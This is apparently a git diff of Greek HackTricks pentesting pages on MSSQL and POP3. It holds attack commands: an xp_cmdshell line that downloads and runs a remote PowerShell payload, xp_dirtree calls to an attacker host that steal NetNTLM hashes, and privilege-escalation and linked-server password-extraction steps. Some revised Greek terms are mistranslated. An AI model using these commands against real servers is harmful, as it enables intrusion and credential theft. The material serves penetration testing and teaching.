* **Βάση Δεδομένων Resource**: Μια βάση δεδομένων μόνο για ανάγνωση που φιλοξενεί συστημικά αντικείμενα που συνοδεύουν το SQL Server. Αυτά τα αντικείμενα, ενώ αποθηκεύονται φυσικά στη βάση δεδομένων Resource, παρουσιάζονται λογικά στο σχήμα sys κάθε βάσης δεδομένων.
* **Βάση Δεδομένων tempdb**: Λειτουργεί ως προσωρινή περιοχή αποθήκευσης για προσωρινά αντικείμενα ή ενδιάμεσα σύνολα αποτελεσμάτων.
* **Βάση δεδομένων master**: Αυτή η βάση δεδομένων είναι κρίσιμη καθώς καταγράφει όλες τις λεπτομέρειες σε επίπεδο συστήματος για μια περίπτωση SQL Server.
* **Βάση δεδομένων msdb**: Ο SQL Server Agent χρησιμοποιεί αυτήν τη βάση δεδομένων για τη διαχείριση του προγραμματισμού για ειδοποιήσεις και εργασίες.
* **Βάση δεδομένων model**: Λειτουργεί ως σχέδιο για κάθε νέα βάση δεδομένων στην περίπτωση του SQL Server, όπου οποιεσδήποτε αλλαγές όπως μέγεθος, συλλογή, μοντέλο ανάκτησης και άλλα αντικατοπτρίζονται σε νεοδημιουργημένες βάσεις δεδομένων.
* **Βάση δεδομένων Resource**: Μια βάση δεδομένων μόνο για ανάγνωση που φιλοξενεί συστημικά αντικείμενα που συνοδεύουν το SQL Server. Αυτά τα αντικείμενα, ενώ αποθηκεύονται φυσικά στη βάση δεδομένων Resource, παρουσιάζονται λογικά στο σχήμα sys κάθε βάσης δεδομένων.
* **Βάση δεδομένων tempdb**: Λειτουργεί ως προσωρινή περιοχή αποθήκευσης για προσωρινά αντικείμενα ή ενδιάμεσα σύνολα αποτελεσμάτων.
## Απαρίθμηση
@ -46,7 +54,7 @@ msf> use auxiliary/scanner/mssql/mssql_ping
Αν **δεν έχετε διαπιστευτήρια**, μπορείτε να προσπαθήσετε να τα μαντέψετε. Μπορείτε να χρησιμοποιήσετε το nmap ή το metasploit. Να είστε προσεκτικοί, μπορείτε να **φράξετε λογαριασμούς** αν αποτύχετε να συνδεθείτε αρκετές φορές χρησιμοποιώντας ένα υπάρχον όνομα χρήστη.
{% endhint %}
#### Metasploit (χρειάζεται διαπιστευτήρια)
#### Metasploit (χρειάζεστε διαπιστευτήρια)
```bash
#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
@ -97,7 +105,7 @@ sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
1> select 1;
2> go
```
#### Κοινή Απαρίθμηση
#### Συνηθισμένη Απαρίθμηση
```sql
# Get version
select @@version;
@ -145,16 +153,16 @@ SELECT * FROM sysusers
```
#### Λήψη Δικαιωμάτων
1. **Προστατεύσιμο:** Ορίζεται ως οι πόροι που διαχειρίζεται ο SQL Server για τον έλεγχο πρόσβασης. Αυτοί κατηγοριοποιούνται σε:
- **Επίπεδο Διακομιστή** Παραδείγματα περιλαμβάνουν βάσεις δεδομένων, συνδέσεις, ομάδες διαθεσιμότητας και ρόλους διακομιστή.
- **Επίπεδο Βάσης Δεδομένων** Παραδείγματα καλύπτουν ρόλους βάσης δεδομένων, ρόλους εφαρμογής, σχήματα, πιστοποιητικά, καταλόγους πλήρους κειμένου και χρήστες.
- **Σχήμα** Περιλαμβάνει πίνακες, προβολές, διαδικασίες, λειτουργίες, συνώνυμα, κλπ.
1. **Δυνατότητα:** Ορίζεται ως οι πόροι που διαχειρίζεται ο SQL Server για τον έλεγχο πρόσβασης. Αυτοί κατηγοριοποιούνται σε:
- **Διακομιστής** Παραδείγματα περιλαμβάνουν βάσεις δεδομένων, συνδρομές, σημεία άμεσης πρόσβασης, ομάδες διαθεσιμότητας και ρόλους διακομιστή.
- **Βάση Δεδομένων** Παραδείγματα καλύπτουν ρόλους βάσης δεδομένων, ρόλους εφαρμογής, σχήματα, πιστοποιητικά, καταλόγους πλήρους κειμένου και χρήστες.
- **Σχήμα** Περιλαμβάνει πίνακες, προβολές, διαδικασίες, λειτουργίες, συνώνυμα, κλπ.
2. **Δικαίωμα:** Συνδέεται με τα προστατεύσιμα του SQL Server, δικαιώματα όπως ALTER, CONTROL και CREATE μπορούν να χορηγηθούν σε έναν αρχέτυπο. Η διαχείριση των δικαιωμάτων πραγματοποιείται σε δύο επίπεδα:
- Στο **Επίπεδο Διακομιστή** χρησιμοποιώντας συνδέσεις
- Στο **Επίπεδο Βάσης Δεδομένων** χρησιμοποιώντας χρήστες
2. **Δικαίωμα:** Συνδέεται με τις δυνατότητες ασφαλείας του SQL Server, όπως ALTER, CONTROL και CREATE που μπορούν να χορηγηθούν σε έναν αρχέτυπο. Η διαχείριση των δικαιωμάτων πραγματοποιείται σε δύο επίπεδα:
- Στο **Επίπεδο Διακομιστή** χρησιμοποιώντας συνδρομές
- Στο **Επίπεδο Βάσης Δεδομένων** χρησιμοποιώντας χρήστες
3. **Αρχέτυπο:** Αυτός ο όρος αναφέρεται στο οντότητα που έχει χορηγηθεί άδεια πρόσβασης σε ένα προστατεύσιμο. Τα αρχέτυπα περιλαμβάνουν κυρίως συνδέσεις και χρήστες βάσης δεδομένων. Ο έλεγχος της πρόσβασης στα προστατεύσιμα γίνεται μέσω της χορήγησης ή απόρριψης δικαιωμάτων ή με την περιλαμβανομένη των συνδέσεων και των χρηστών σε ρόλους εξοπλισμένους με δικαιώματα πρόσβασης.
3. **Αρχέτυπο:** Αυτός ο όρος αναφέρεται στο οντότητα που έχει χορηγηθεί άδεια πρόσβασης σε ένα δυνατό. Τα αρχέτυπα περιλαμβάνουν κυρίως συνδρομές και χρήστες βάσης δεδομένων. Ο έλεγχος της πρόσβασης στις δυνατότητες γίνεται μέσω της χορήγησης ή απόρριψης δικαιωμάτων ή με την περιλαμβανομένη των συνδρομών και των χρηστών σε ρόλους εξοπλισμένους με δικαιώματα πρόσβασης.
```sql
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
@ -214,7 +222,7 @@ EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.1
```
### Κλέψτε το hash του NetNTLM / Επίθεση Relay
Θα πρέπει να ξεκινήσετε ένα **διακομιστή SMB** για να αιχμαλωτίσετε το hash που χρησιμοποιείται στην ταυτοποίηση (`impacket-smbserver` ή `responder` για παράδειγμα).
Πρέπει να ξεκινήσετε ένα **διακομιστή SMB** για να αιχμαλωτίσετε το hash που χρησιμοποιείται στην ταυτοποίηση (`impacket-smbserver` ή `responder` για παράδειγμα).
```bash
xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
@ -227,7 +235,7 @@ sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
```
{% hint style="warning" %}
Μπορείτε να ελέγξετε αν ποιος (εκτός από τους συστημικούς διαχειριστές) έχει δικαιώματα να εκτελέσει αυτές τις λειτουργίες MSSQL με:
Μπορείτε να ελέγξετε αν όποιος (εκτός από τους συστημικούς διαχειριστές) έχει δικαιώματα να εκτελέσει αυτές τις λειτουργίες MSSQL με:
```sql
Use master;
EXEC sp_helprotect 'xp_dirtree';
@ -253,7 +261,7 @@ EXEC sp_helprotect 'xp_fileexist';
### **Εγγραφή Αρχείων**
Για να εγγράψετε αρχεία χρησιμοποιώντας το `MSSQL`, **χρειάζεται να ενεργοποιήσετε** τις [**Διαδικασίες Αυτοματισμού Ole**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), οι οποίες απαιτούν δικαιώματα διαχειριστή, και στη συνέχεια να εκτελέσετε ορισμένες αποθηκευμένες διαδικασίες για τη δημιουργία του αρχείου:
Για να εγγράψετε αρχεία χρησιμοποιώντας το `MSSQL`, **χρειάζεται να ενεργοποιήσετε** τις [**Διαδικασίες Αυτοματισμού Ole**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), οι οποίες απαιτούν διαχειριστικά προνόμια, και στη συνέχεια να εκτελέσετε ορισμένες αποθηκευμένες διαδικασίες για τη δημιουργία του αρχείου:
```bash
# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
@ -294,7 +302,7 @@ https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\w
![](<../../.gitbook/assets/image (185) (1).png>)
Παράδειγμα χρήσης προσαρμοσμένου Python για να εκτελέσει διάφορες ενέργειες:
Παράδειγμα χρήσης προσαρμοσμένου Python για να εκτελέσετε διάφορες ενέργειες:
```sql
# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
@ -337,7 +345,7 @@ EXEC sp_helprotect 'xp_regwrite';
### RCE με MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
Είναι δυνατόν να **φορτώσετε ένα .NET dll μέσα στο MSSQL με προσαρμοσμένες λειτουργίες**. Αυτό, ωστόσο, **απαιτεί πρόσβαση `dbo`** οπότε χρειάζεστε σύνδεση με τη βάση δεδομένων **ως `sa` ή με ρόλο Διαχειριστή**.
Είναι δυνατόν να **φορτώσετε ένα .NET dll μέσα στο MSSQL με προσαρμοσμένες λειτουργίες**. Αυτό, ωστόσο, **απαιτεί πρόσβαση ως `dbo`** οπότε χρειάζεστε σύνδεση με τη βάση δεδομένων **ως `sa` ή με ρόλο Διαχειριστή**.
[**Ακολουθώντας αυτόν τον σύνδεσμο**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) μπορείτε να δείτε ένα παράδειγμα.
@ -345,11 +353,12 @@ EXEC sp_helprotect 'xp_regwrite';
Υπάρχουν και άλλες μεθόδοι για να εκτελέσετε εντολές, όπως η προσθήκη [επεκτεινόμενων αποθηκευμένων διαδικασιών](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), και [εξωτερικά scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
## Ανόδος Προνομίων στο MSSQL
### Από db\_owner σε sysadmin
Αν ένας **κανονικός χρήστης** λάβει τον ρόλο **`db_owner`** πάνω στη **βάση δεδομένων που ανήκει σε έναν διαχειριστή** χρήστη (όπως ο **`sa`**) και αυτή η βάση δεδομένων είναι ρυθμισμένη ως **`trustworthy`**, αυτός ο χρήστης μπορεί να εκμεταλλευτεί αυτά τα προνόμια για **ανόδο προνομίων** επειδή **αποθηκευμένες διαδικασίες** που δημιουργούνται εκεί μπορούν να **εκτελεστούν** ως ιδιοκτήτης (**διαχειριστής**).
Αν ένας **κανονικός χρήστης** λάβει τον ρόλο **`db_owner`** πάνω στη **βάση δεδομένων που ανήκει σε έναν διαχειριστή** χρήστη (όπως ο **`sa`**) και αυτή η βάση δεδομένων είναι ρυθμισμένη ως **`trustworthy`**, ο χρήστης αυτός μπορεί να εκμεταλλευτεί αυτά τα προνόμια για **ανόδο προνομίων** επειδή **αποθηκευμένες διαδικασίες** που δημιουργούνται εκεί μπορούν να **εκτελεστούν** ως ο ιδιοκτήτης (**διαχειριστής**).
```sql
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
@ -395,7 +404,7 @@ Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlSer
```
### Προσωποποίηση άλλων χρηστών
Ο SQL Server έχει ένα ειδικό δικαίωμα, με το όνομα **`IMPERSONATE`**, που **επιτρέπει στον εκτελούντα χρήστη να πάρει τα δικαιώματα ενός άλλου χρήστη** ή σύνδεσης μέχρι να επαναφερθεί ο πλαίσιο ή να λήξει η συνεδρία.
Το SQL Server έχει ένα ειδικό δικαίωμα, με το όνομα **`IMPERSONATE`**, που **επιτρέπει στον εκτελούντα χρήστη να αναλάβει τα δικαιώματα ενός άλλου χρήστη** ή σύνδεσης μέχρι να επαναφερθεί ο πλαίσιο ή να λήξει η συνεδρία.
```sql
# Find users you can impersonate
SELECT distinct b.name
@ -411,10 +420,10 @@ SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
```
{% hint style="info" %}
Αν μπορείτε να προσωποποιήσετε έναν χρήστη, ακόμα κι αν δεν είναι sysadmin, πρέπει να ελέγξετε αν ο χρήστης έχει πρόσβαση σε άλλες βάσεις δεδομένων ή σε συνδεδεμένους διακομιστές.
Να σημειωθεί ότι αφού γίνετε sysadmin, μπορείτε να προσωποποιήσετε οποιονδήποτε άλλο:
Αν μπορείτε να προσωποποιήσετε έναν χρήστη, ακόμα κι αν δεν είναι sysadmin, πρέπει να ελέγξετε αν ο χρήστης έχει πρόσβαση σε άλλες βάσεις δεδομένων ή συνδεδεμένους διακομιστές.
{% endhint %}
Σημειώστε ότι αφού γίνετε sysadmin μπορείτε να προσωποποιήσετε οποιονδήποτε άλλο:
```sql
-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
@ -439,26 +448,26 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
## Εξαγωγή κωδικών πρόσβασης από SQL Server Linked Servers
Ένας επιτιθέμενος μπορεί να εξάγει κωδικούς πρόσβασης από τους συνδεδεμένους διακομιστές SQL Server από τις προσθήκες SQL και να τους λάβει σε καθαρό κείμενο, χορηγώντας στον επιτιθέμενο κωδικούς πρόσβασης που μπορούν να χρησιμοποιηθούν για να αποκτήσει μεγαλύτερη εδρά στον στόχο.
Ένας επιτιθέμενος μπορεί να εξάγει κωδικούς πρόσβασης από τους συνδεδεμένους διακομιστές SQL Server από τις προσβάσεις SQL και να τους λάβει σε καθαρό κείμενο, παρέχοντας στον επιτιθέμενο κωδικούς πρόσβασης που μπορούν να χρησιμοποιηθούν για να αποκτήσει μεγαλύτερο έδαφος στον στόχο.
Το script για την εξαγωγή και αποκρυπτογράφηση των κωδικών που αποθηκεύονται για τους συνδεδεμένους διακομιστές μπορεί να βρεθεί [εδώ](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
Κάποιες απαιτήσεις και ρυθμίσεις πρέπει να γίνουν για να λειτουργήσει αυτή η εκμετάλλευση.
Καταρχάς, πρέπει να έχετε δικαιώματα Διαχειριστή στον υπολογιστή ή τη δυνατότητα να διαχειρίζεστε τις ρυθμίσεις του SQL Server.
Μετά την επικύρωση των δικαιωμάτων σας, πρέπει να ρυθμίσετε τρία πράγματα, τα οποία είναι τα ακόλουθα:
1. Ενεργοποίηση του TCP/IP στις προσθήκες του SQL Server;
1. Ενεργοποίηση του TCP/IP στις προσβάσεις του SQL Server;
2. Προσθήκη ενός παραμέτρου εκκίνησης, σε αυτήν την περίπτωση, θα προστεθεί ένα σημάδι ανίχνευσης, το οποίο είναι το -T7806.
3. Ενεργοποίηση απομακρυσμένης διαχειριστικής σύνδεσης.
3. Ενεργοποίηση απομακρυσμένης διαχείρισης σύνδεσης.
Για να αυτοματοποιήσετε αυτές τις ρυθμίσεις, [αυτό το αποθετήριο](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) έχει τα απαιτούμενα scripts.
Εκτός από ένα script powershell για κάθε βήμα της ρύθμισης, το αποθετήριο έχει επίσης ένα πλήρες script που συνδυάζει τα scripts ρύθμισης και την εξαγωγή και αποκρυπτογράφηση των κωδικών.
Εκτός από ένα script Powershell για κάθε βήμα της ρύθμισης, το αποθετήριο έχει επίσης ένα πλήρες script που συνδυάζει τα scripts ρύθμισης και την εξαγωγή και αποκρυπτογράφηση των κωδικών.
Για περισσότερες πληροφορίες, ανατρέξτε στους παρακάτω συνδέσμους σχετικά με αυτήν την επίθεση:
[Αποκρυπτογράφηση Κωδικών Διακομιστή Σύνδεσης MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
[Αποκρυπτογράφηση Κωδικών Διακομιστή Σύνδεσης Βάσης Δεδομένων MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
[Αντιμετώπιση προβλημάτων σύνδεσης Διακομιστή Διαχειριστή SQL](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
[Αντιμετώπιση προβλημάτων με την Αφιερωμένη Διαχειριστική Σύνδεση SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
## Ανόδου Προνομίων Τοπικά
## Ανόδος Προνομίων Τοπικά
Ο χρήστης που εκτελεί τον διακομιστή MSSQL θα έχει ενεργοποιημένο το δικαίωμα προνομίων **SeImpersonatePrivilege.**\
Πιθανόν να μπορείτε να **αναβαθμίσετε σε Διαχειριστή** ακολουθώντας ένα από αυτά τα 2 σελιδοδείκτες:
@ -484,6 +493,15 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
* [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Αυτόματες Εντολές HackTricks
```
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
Port_Number: 1433 #Comma separated if there is more than one.

View file

@ -1,20 +1,28 @@
# 110,995 - Ελέγχος Εισβολής στο POP
# 110,995 - Ελεγχος Εισβολής στο POP
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Βασικές Πληροφορίες
Το **Post Office Protocol (POP)** περιγράφεται ως ένα πρωτόκολλο εντός του τομέα του δικτύου υπολογιστών και του Internet, το οποίο χρησιμοποιείται για την εξαγωγή και **ανάκτηση email από έναν απομακρυσμένο διακομιστή email**, καθιστώντας το προσβάσιμο στην τοπική συσκευή. Τοποθετημένο στο επίπεδο εφαρμογής του μοντέλου OSI, αυτό το πρωτόκολλο επιτρέπει στους χρήστες να ανακτούν και να λαμβάνουν email. Η λειτουργία των **πελατών POP** συνήθως περιλαμβάνει την καθιέρωση μιας σύνδεσης με τον διακομιστή email, τη λήψη όλων των μηνυμάτων, την αποθήκευση αυτών των μηνυμάτων τοπικά στο σύστημα του πελάτη και στη συνέχεια την αφαίρεσή τους από τον διακομιστή. Παρόλο που υπάρχουν τρεις εκδόσεις αυτού του πρωτοκόλλου, το **POP3** ξεχωρίζει ως η πιο διαδεδομένη έκδοση.
Το **Post Office Protocol (POP)** περιγράφεται ως ένα πρωτόκολλο εντός του τομέα του δικτύου υπολογιστών και του Internet, το οποίο χρησιμοποιείται για την εξαγωγή και **ανάκτηση email από έναν απομακρυσμένο διακομιστή email**, καθιστώντας το προσβάσιμο στην τοπική συσκευή. Τοποθετημένο στο επίπεδο εφαρμογής του μοντέλου OSI, αυτό το πρωτόκολλο επιτρέπει στους χρήστες να ανακτούν και να λαμβάνουν email. Η λειτουργία των **πελατών POP** συνήθως περιλαμβάνει τη δημιουργία σύνδεσης με τον διακομιστή email, τη λήψη όλων των μηνυμάτων, την αποθήκευση αυτών των μηνυμάτων τοπικά στο σύστημα του πελάτη και στη συνέχεια την αφαίρεσή τους από τον διακομιστή. Παρόλο που υπάρχουν τρεις εκδόσεις αυτού του πρωτοκόλλου, το **POP3** ξεχωρίζει ως η πιο διαδεδομένη έκδοση.
**Προεπιλεγμένες θύρες:** 110, 995(ssl)
```
@ -38,7 +46,7 @@ nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port <PORT> <IP> #All a
```
Το πρόσθετο `pop3-ntlm-info` θα επιστρέψει μερικά "**ευαίσθητα**" δεδομένα (εκδόσεις Windows).
### [Χειρισμός POP3 bruteforce](../generic-methodologies-and-resources/brute-force.md#pop)
### [Χειρισμός POP3](../generic-methodologies-and-resources/brute-force.md#pop)
## Σύνταξη POP
@ -59,65 +67,22 @@ CAPA Get capabilities
```markdown
## Post Office Protocol (POP)
The Post Office Protocol (POP) is a standard email protocol used to retrieve emails from a remote server to a local email client. POP has been largely replaced by IMAP (Internet Message Access Protocol) but is still used in some cases.
POP is a protocol used by email clients to retrieve email from a mail server. Here are some common security issues to look out for when pentesting POP:
### Default Port
- POP3: 110
- POP3S (POP3 with SSL): 995
### Default Credentials
Some mail servers come with default credentials that are often left unchanged by users. During a pentest, try using common default credentials to see if you can access the POP server.
### Security Concerns
- **Clear Text Authentication:** POP sends usernames and passwords in clear text, making it vulnerable to eavesdropping attacks.
- **No Encryption:** Without SSL/TLS, data is transmitted in plain text, exposing it to interception.
- **No Message Syncing:** POP downloads emails to the local client, which can lead to inconsistencies if accessed from multiple devices.
### Cleartext Authentication
POP traditionally sends credentials in cleartext, making it vulnerable to sniffing attacks. Look for ways to intercept and view these credentials during transit.
### Pentesting POP
During a POP pentest, the following security tests can be performed:
- **Brute Force Attacks:** Testing weak or default credentials.
- **Man-in-the-Middle Attacks:** Intercepting traffic to capture credentials.
- **Data Interception:** Capturing email contents during transmission.
- **Security Misconfigurations:** Identifying and exploiting misconfigured POP servers.
```
```html
## Post Office Protocol (POP)
### Lack of Encryption
If POP is not configured to use encryption, credentials and emails are sent in plaintext, exposing them to potential eavesdropping. Always check if encryption is enabled on the POP server.
The Post Office Protocol (POP) is a standard email protocol used to retrieve emails from a remote server to a local email client. POP has been largely replaced by IMAP (Internet Message Access Protocol) but is still used in some cases.
### Brute Force Attacks
Since POP does not have built-in mechanisms to prevent brute force attacks, it is important to test for weak passwords and implement account lockout policies to mitigate this risk.
### Default Port
- POP3: 110
- POP3S (POP3 with SSL): 995
### Security Concerns
- **Clear Text Authentication:** POP sends usernames and passwords in clear text, making it vulnerable to eavesdropping attacks.
- **No Encryption:** Without SSL/TLS, data is transmitted in plain text, exposing it to interception.
- **No Message Syncing:** POP downloads emails to the local client, which can lead to inconsistencies if accessed from multiple devices.
### Pentesting POP
During a POP pentest, the following security tests can be performed:
- **Brute Force Attacks:** Testing weak or default credentials.
- **Man-in-the-Middle Attacks:** Intercepting traffic to capture credentials.
- **Data Interception:** Capturing email contents during transmission.
- **Security Misconfigurations:** Identifying and exploiting misconfigured POP servers.
```
```markdown
## Πρωτόκολλο Ταχυδρομείου (POP)
Το Πρωτόκολλο Ταχυδρομείου (POP) είναι ένα πρότυπο πρωτόκολλο ηλεκτρονικού ταχυδρομείου που χρησιμοποιείται για την ανάκτηση email από έναν απομακρυσμένο διακομιστή σε έναν τοπικό πελάτη email. Το POP έχει αντικατασταθεί κυρίως από το IMAP (Πρωτόκολλο Πρόσβασης Μηνυμάτων στο Διαδίκτυο) αλλά εξακολουθεί να χρησιμοποιείται σε μερικές περιπτώσεις.
### Προεπιλεγμένη Θύρα
- POP3: 110
- POP3S (POP3 με SSL): 995
### Ανησυχίες Ασφαλείας
- **Καθαρό Κείμενο Ταυτοποίησης:** Το POP αποστέλλει ονόματα χρηστών και κωδικούς πρόσβασης σε καθαρό κείμενο, κάτι που το καθιστά ευάλωτο σε επιθέσεις παρακολούθησης.
- **Χωρίς Κρυπτογράφηση:** Χωρίς SSL/TLS, τα δεδομένα μεταδίδονται σε καθαρό κείμενο, εκθέτοντάς τα σε παρεμβολές.
- **Χωρίς Συγχρονισμό Μηνυμάτων:** Το POP κατεβάζει τα email στον τοπικό πελάτη, πράγμα που μπορεί να οδηγήσει σε ανεπάρκειες εάν προσπελαστεί από πολλές συσκευές.
### Ελέγχος Ασφάλειας POP
Κατά τη διάρκεια ενός ελέγχου ασφάλειας POP, μπορούν να πραγματοποιηθούν οι ακόλουθες δοκιμές ασφάλειας:
- **Επιθέσεις Βίας:** Δοκιμή αδύνατων ή προεπιλεγμένων διαπιστευτηρίων.
- **Επιθέσεις Άνθρωπος-στη-Μέσο:** Παρεμβολή στην κίνηση για την καταγραφή διαπιστευτηρίων.
- **Παρεμβολή Δεδομένων:** Καταγραφή περιεχομένου email κατά τη μετάδοση.
- **Λανθασμένες Ρυθμίσεις Ασφάλειας:** Αναγνώριση και εκμετάλλευση λανθασμένων ρυθμίσεων σε διακομιστές POP.
### User Enumeration
Attackers can enumerate valid usernames through techniques like user enumeration, which can be used in further attacks. Ensure that user enumeration is not possible on the POP server.
```
```
root@kali:~# telnet $ip 110
@ -150,11 +115,17 @@ password: PA$$W0RD!Z
| **Ρύθμιση** | **Περιγραφή** |
| ------------------------- | ----------------------------------------------------------------------------------------- |
| `auth_debug` | Ενεργοποιεί όλη την αποσφαλμάτωση πιστοποίησης. |
| `auth_debug_passwords` | Αυτή η ρύθμιση προσαρμόζει την αποσφαλμάτωση καταγραφής, τα υποβληθέντα κωδικά και το σχήμα καταγράφονται. |
| `auth_verbose` | Καταγράφει τις ανεπιτυχείς προσπάθειες πιστοποίησης και τους λόγους τους. |
| `auth_debug_passwords` | Αυτή η ρύθμιση προσαρμόζει την λεπτομέρεια των αρχείων καταγραφής, τα καταγεγραμμένα κωδικούς και το σχήμα καταγράφονται. |
| `auth_verbose` | Καταγράφει τις αποτυχημένες προσπάθειες πιστοποίησης και τους λόγους τους. |
| `auth_verbose_passwords` | Οι κωδικοί που χρησιμοποιούνται για την πιστοποίηση καταγράφονται και μπορεί επίσης να περικοπούν. |
| `auth_anonymous_username` | Αυτό καθορίζει το όνομα χρήστη που θα χρησιμοποιηθεί κατά την σύνδεση με τον μηχανισμό ANONYMOUS SASL. |
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
## Αυτόματες εντολές HackTricks
```
Protocol_Name: POP #Protocol Abbreviation if there is one.
@ -201,7 +172,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS {
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε τη **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στη **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
